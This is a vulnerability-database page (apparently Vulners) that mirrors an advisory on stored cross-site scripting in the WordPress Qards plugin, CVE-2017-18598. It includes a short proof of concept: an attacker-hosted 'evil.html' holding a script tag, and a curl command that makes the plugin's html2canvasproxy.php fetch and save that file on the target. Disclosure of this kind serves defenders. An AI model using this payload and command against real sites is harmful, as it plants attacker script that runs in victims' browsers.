Lucene search
+L

Qards - Stored Cross-Site Scripting (XSS)

🗓️ 11 Oct 2017 00:00:00Reported by theMiddleType 
wpexploit
 wpexploit
👁 270 Views

Stored Cross-Site Scripting vulnerability in Qards plugi

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2017-18598
10 Sep 201915:46
circl
cve
CVE
CVE-2017-18598
10 Sep 201910:58
cve
cvelist
Cvelist
CVE-2017-18598
10 Sep 201910:58
cvelist
euvd
EUVD
EUVD-2017-9711
7 Oct 202500:30
euvd
nuclei
Nuclei
WordPress Qards - Cross-Site Scripting
16 Sep 202614:04
nuclei
nvd
NVD
CVE-2017-18598
10 Sep 201911:15
nvd
osv
OSV
CVE-2017-18598
10 Sep 201911:15
osv
prion
Prion
Design/Logic Flaw
10 Sep 201911:15
prion
redhatcve
RedhatCVE
CVE-2017-18598
9 Jan 202610:34
redhatcve
wpvulndb
WPVulnDB
Qards - Stored Cross-Site Scripting (XSS)
11 Oct 201700:00
wpvulndb
The vulnerable script http://target/wp-content/plugins/qards/html2canvasproxy.php
get the value of the "url" parameter and, using CURL PHP functions, saves the website's content to a file at /wp-content/plugins/qards/images/ with a filename formatted as following:

<hash md5>.<mime-type>

On a web server with "Directory Listing" enabled, you could easily find that file.
Due to improper sanitization, the generated file, suffer from a persistent XSS vulnerability.

POC:
1. create a remote file (evil.html), on your webserver, with the following content:

<script> alert('XSS'); </script>

2. curl 'http://target/wp-content/plugins/qards/html2canvasproxy.php?url=http://yourserver/evil.html'

3. Browse to http://target/wp-content/plugins/qards/images/ to get the file

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation